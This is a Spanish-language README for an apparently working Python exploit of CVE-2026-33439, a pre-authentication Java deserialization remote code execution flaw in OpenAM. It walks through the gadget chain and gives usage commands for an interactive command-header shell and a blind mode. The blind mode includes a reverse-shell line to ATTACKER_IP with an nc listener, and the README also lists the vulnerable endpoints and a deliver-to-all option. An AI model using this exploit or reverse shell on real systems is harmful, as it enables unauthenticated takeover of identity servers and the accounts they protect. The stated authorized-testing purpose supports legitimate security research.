PoC en Python que explota CVE-2026-33439, un RCE pre-auth en OpenAM mediante deserialización Java del parámetro jato.clientSession, con modos de shell interactivo y ciego.
Ejecución Remota de Código pre-autenticación en OpenIdentityPlatform OpenAM <= 16.0.5 mediante deserialización insegura de Java del parámetro jato.clientSession (CVSS 9.8).
Solo para pruebas de seguridad autorizadas.
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py
# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
build.py — debe coincidir con la versión de JVM del servidor objetivo; JDK 25 produce objetos serializados incompatibles)El EvilTranslet lee el encabezado HTTP cmd de la solicitud, lo ejecuta y escribe stdout directamente en la respuesta HTTP. No se necesita listener.
# Build interactive payload (no --command flag)
python build.py
# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"
# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell
El comando está incrustado en el bytecode del EvilTranslet. No se devuelve salida; use un listener (nc, etc.) para capturar las llamadas de retorno.
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Terminal 1: listener
nc -lvnp 4444
# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all
build.py| Flag | Descripción |
|---|---|
| (sin flags) | Construir payload interactivo (lee el encabezado cmd en tiempo de ejecución) |
--command "CMD" | Construir payload ciego con CMD incrustado en el bytecode |
--jars DIR | Usar directorio local de JARs en lugar de descargar (predeterminado: ./libs) |
--download-only | Solo descargar JARs, no compilar |
exploit.py| Flag | Descripción |
|---|---|
--url URL | URL objetivo (requerido) — endpoint completo o URL base con --probe/--all |
--shell | Pseudo-shell interactivo (modo interactivo) |
--probe | Auto-detectar endpoint vulnerable desde la URL base |
--all | Entregar payload a TODOS los endpoints JATO (modo ciego) |
--method GET|POST | Método de entrega HTTP (predeterminado: GET) |
--proxy URL | Proxy HTTP (ej. http://127.0.0.1:8080 para Burp) |
--timeout SECS | Tiempo de espera de la solicitud (predeterminado: 15) |
--verify-tls | Habilitar verificación de certificado TLS |
--debug | Mostrar detalles de solicitud/respuesta |
Todo el código fuente está en el repositorio — sin blobs opacos. Las fuentes Java están incrustadas en build.py como constantes de cadena legibles. Después de compilar, verifique la salida:
python verify.py # summary: classes, integrity, red-flag scan
python verify.py --strings # all printable strings in the payload
python verify.py --hexdump # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap
PriorityQueue.readObject()
-> heapify() -> Column$ColumnComparator.compare()
-> Column.getTable().isSortedAscending()
-> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
-> TemplatesImpl.getOutputProperties()
-> defineTransletClasses() -> newInstance()
-> EvilTranslet.<clinit>() // command executes here
Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — obtener la solicitud/respuesta HTTP a través del classloader de la webapprequest.getHeader("cmd") — leer el comandonew ProcessBuilder("/bin/sh", "-c", cmd) — ejecutarresponse.reset() — limpiar cualquier salida JSP previatext/plain, luego cerrar el flujo de salidaRuntime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — disparar y olvidarCualquier endpoint JATO ViewBean que renderice etiquetas <jato:form>, accesible pre-autenticación:
| Endpoint | Notas |
|---|---|
/openam/ui/PWResetUserValidation | Restablecimiento de contraseña (más confiable) |
/openam/ui/PWResetQuestion | Preguntas de seguridad para restablecimiento de contraseña |
/openam/ui/Login | Página de inicio de sesión |
| Síntoma | Causa | Solución |
|---|---|---|
| Se devuelve página HTML en lugar de la salida del comando | JSP sobrescribe la respuesta | Use --shell con payload interactivo; o cambie al modo ciego |
| La deserialización no se activa | Incompatibilidad de versión de JDK | Recompile con JDK 21: export JAVA_HOME=/path/to/jdk-21 |
| Tiempo de espera de handshake TLS | El servidor requiere nombre de host SNI | Agregue el objetivo a /etc/hosts y use el nombre de host, no la IP |
javac no encontrado | JDK no instalado | apt install openjdk-21-jdk |
MIT